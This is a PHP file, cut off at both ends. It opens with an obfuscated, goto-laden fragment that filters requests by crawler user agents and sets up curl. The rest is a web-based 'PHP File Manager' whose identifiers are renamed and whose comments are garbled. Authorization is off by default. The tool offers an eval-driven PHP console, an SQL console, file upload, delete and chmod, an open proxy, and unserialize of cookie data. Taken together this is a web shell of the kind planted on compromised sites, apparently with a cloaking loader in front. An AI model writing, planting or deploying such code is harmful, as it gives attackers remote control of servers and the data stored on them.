(!preg_match("\x2f\x28\114\151\x67\150\164\x44\x65\143\153\x52\x65\160\x6f\x72\x74\x73\x20\x42\157\x74\x7c\x41\150\x72\x65\x66\x73\x42\x6f\164\174\107\157\x2d\150\164\164\x70\x2d\143\154\151\145\x6e\x74\174\x41\163\153\x54\x62\106\x58\x54\x56\174\x4f\x42\157\x74\174\101\160\141\143\150\145\102\145\156\143\150\x7c\x4a\x69\x6b\x65\123\160\151\x64\x65\x72\174\x63\x72\x61\167\x6c\x44\x61\144\144\x79\174\x42\x61\162\153\x72\157\x77\x6c\x65\x72\174\106\145\145\144\154\x79\174\x53\x63\162\141\160\171\174\x53\145\172\x6e\x61\x6d\x42\157\x74\174\x55\156\151\166\x65\x72\163\141\x6c\x46\x65\145\x64\120\141\162\163\145\162\x7c\x5a\x6d\x45\x75\174\x50\171\x74\x68\157\156\x2d\165\162\154\154\x69\x62\174\107\120\124\102\157\164\x7c\160\x61\161\x6c\x65\x62\x6f\x74\x7c\x69\156\x64\x79\40\114\x69\142\x72\141\x72\x79\x7c\x59\x79\x53\x70\151\x64\145\x72\174\123\145\155\x72\165\163\150\x42\157\164\x7c\x66\145\x65\x64\x44\145\x6d\x6f\x6e\174\105\141\x73\x6f\x75\123\x70\x69\x64\x65\x72\174\x50\x79\x74\x68\x6f\x6e\174\104\141\x74\x61\106\x6f\162\123\105\117\174\145\x7a\157\x6f\155\x73\174\x4d\x6a\x31\62\142\x6f\x74\x7c\x62\x79\164\145\x73\160\151\144\145\x72\174\141\x6d\141\172\x6f\x6e\x42\157\x74\174\x48\x74\x74\x70\x43\154\151\145\156\164\x7c\104\157\164\102\x6f\164\x7c\160\141\x6c\157\x61\154\164\x6f\156\x65\x74\167\x6f\x72\x6b\x73\x7c\131\151\163\157\x75\123\160\151\144\x65\x72\x7c\x50\x65\164\x61\x6c\x42\x6f\x74\174\x48\145\x72\151\x74\162\x69\170\174\103\145\156\163\x79\x73\111\156\163\x70\x65\x63\164\174\171\x61\x6e\144\x65\x78\x42\x6f\164\x7c\x4a\x61\165\x6e\164\x79\x7c\x53\x77\151\x66\164\x62\x6f\x74\x7c\143\157\157\154\x70\141\x64\x57\x65\142\153\x69\x74\x7c\x50\171\x74\150\x6f\x6e\55\162\145\x71\165\145\163\x74\163\x7c\x4a\x61\166\141\174\x44\x69\147\x45\170\164\51\57\151", $_SERVER["\x48\124\124\120\137\x55\123\x45\x52\x5f\x41\107\x45\116\124"])) { goto nzcL2; } goto xwOYE; bfonS: bKHL6: goto wUMuz; JdWyG: $k08uV = urlencode($_SERVER["\x52\105\121\x55\105\x53\x54\x5f\123\x43\x48\105\115\x45"]); goto QLCmH; R42MN: curl_setopt($ESRfa, CURLOPT_RETURNTRANSFER, true); goto tRjPA; PaIms: Ipde6: ?> <?php /* PHP File Manager Shiromu Version 8.2 */ // Chaxun - zhege gongneng yongyu chaxun wenjian mingcheng $anuyatkan = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_anuyatkan":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo songoktab();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}'; // wenjian shanchu hou jiang wufa huifu // Baocun $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg_ntimes = ''; // zhege caozuo $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Wenjian $auth_local = json_decode($anuyatkan,true); $auth_local['authorize'] = isset($auth_local['authorize']) ? $auth_local['authorize'] : 0; $auth_local['days_anuyatkan'] = (isset($auth_local['days_anuyatkan'])&&is_numeric($auth_local['days_anuyatkan'])) ? (int)$auth_local['days_anuyatkan'] : 30; $auth_local['login'] = isset($auth_local['login']) ? $auth_local['login'] : 'admin'; $auth_local['password'] = isset($auth_local['password']) ? $auth_local['password'] : 'phpfm'; $auth_local['cookie_name'] = isset($auth_local['cookie_name']) ? $auth_local['cookie_name'] : 'fm_user'; $auth_local['script'] = isset($auth_local['script']) ? $auth_local['script'] : ''; // Fangwen quanxian bu zu $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //zhege caozuo jiang shengcheng wenjian de jiancha ma 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // xiazai wenjian xu yao anquan jiance 'show_gt' => true, // zhege wenjian jubu daxiao 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Xiugai wenjian nei rong qian if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_local['days_anuyatkan'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Wenjian jiang bei bianma wei base64 ge shi if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Dangqian wenjianjia wei kong, wu wenjian ke xianshi $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // wenjian guilu $lang_get = json_decode($translation,true); if ($lang_get['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //zai wenjian shang you mingming chongfu de wenjian $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_ntimes .= __('File updated'); } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang_get = json_decode($translation_string,true); } } /* wenjian de mulu goujian zheng zai jinxing */ //chenggong zhuangtai jiang hui bei ji lu function __($text){ global $lang_get; if (isset($lang_get[$text])) return $lang_get[$text]; else return $text; }; //gai wenjian shoudao miyao jiamihou cunzhang function fm_del_khumfail($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = sarapadtrai($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_khumfail($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function sathani($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function plianphawa($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function prapai($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = sarapadtrai($file); foreach ($els as $el) { $res = $res && prapai($file . '/' . $el, $val, true); } } return $res; } //load khumfail function lodfail($namaraksamfail) { if (!empty($namaraksamfail)) { if (file_exists($namaraksamfail)) { header("Content-Disposition: attachment; filename=" . basename($namaraksamfail)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . khumfailize($namaraksamfail)); flush(); // this doesn't really matter. $fp = fopen($namaraksamfail, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function phimbatthang($f,$format=true) { if($format) { $size=phimbatthang($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return khumfailize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=khumfailize($f.'/'.$file); else $size+=phimbatthang($f.'/'.$file,false); } closedir($dh); return $size+khumfailize($f); } } //scan directory function sarapadtrai($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function rangkhwampanithan($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function arraychaichan($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function rabobhasar ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function tangkhluai($dirname){ return ($dirname=='.' OR $dirname=='..'); } function chodphp($string){ $display_khwamphidphlad=ini_get('display_khwamphidphlad'); ini_set('display_khwamphidphlad', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_khwamphidphlad', $display_khwamphidphlad); return $text; } //SHOW DATABASES function batlak_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function batlak($query){ global $fm_config; $query=trim($query); ob_start(); $connection = batlak_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function songoktab($tables = '*', $full_backup = true) { global $path; $myconnectdb = batlak_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result_config = $myconnectdb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result_config)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result_config = $myconnectdb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result_config); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($myconnectdb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result_config)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.rangkhwampanithan('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function chukkhansangtang($sqlFileToExecute) { $myconnectdb = batlak_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,khumfailize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result_config = $myconnectdb->query($stmt); if (!$result_config){ $sqlErrorCode = mysqli_errno($myconnectdb->connection); $sqlErrorText = mysqli_error($myconnectdb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function chitphanitharn($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function hometang_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function kanchamnai($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function dangdammayut() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function sitangkaan() { return dangdammayut().$_SERVER['HTTP_HOST']; } function thangweb($full=false) { $host=$full?sitangkaan():'.'; return $host.'/'.basename(__FILE__); } function hometang($full=false){ return ' <a href="'.thangweb($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function binbatmanukrom($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.thangweb().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function thangweb_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,dangdammayut(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = sitangkaan().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function lobrasana($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.binbatmanukrom($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.thangweb().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_khumfail($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_khumfail($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* wenjian shengcheng zhi hou, keyi jiance qi daxiao he neirong */ // anuyatkan if ($auth_local['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth_local['login']) && ($_POST['password']==$auth_local['password'])) { setcookie($auth_local['cookie_name'], $auth_local['login'].'|'.md5($auth_local['password']), time() + (86400 * $auth_local['days_anuyatkan'])); $_COOKIE[$auth_local['cookie_name']]=$auth_local['login'].'|'.md5($auth_local['password']); } } if (!isset($_COOKIE[$auth_local['cookie_name']]) OR ($_COOKIE[$auth_local['cookie_name']]!=$auth_local['login'].'|'.md5($auth_local['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.rabobhasar($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth_local['cookie_name']]); setcookie($auth_local['cookie_name'], '', time() - (86400 * $auth_local['days_anuyatkan'])); header('Location: '.sitangkaan().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth_local['days_anuyatkan'])); header('Location: '.thangweb().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth_local['days_anuyatkan'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg_ntimes = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#anuyatkan[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_ntimes .= __('File updated'); if ($_POST['fm_login']['login'] != $auth_local['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth_local['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth_local = $_POST['fm_login']; } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $chodphp = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $chodphp = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($chodphp)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$chodphp,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $chodphp; $msg_ntimes .= __('File updated'); } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg_ntimes .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Wenjian huifu jiang zai yuan wei zhi zhi xing if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); lodfail($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.hometang().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result_config = curl_exec($ch); curl_close($ch); //$result_config = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result_config); 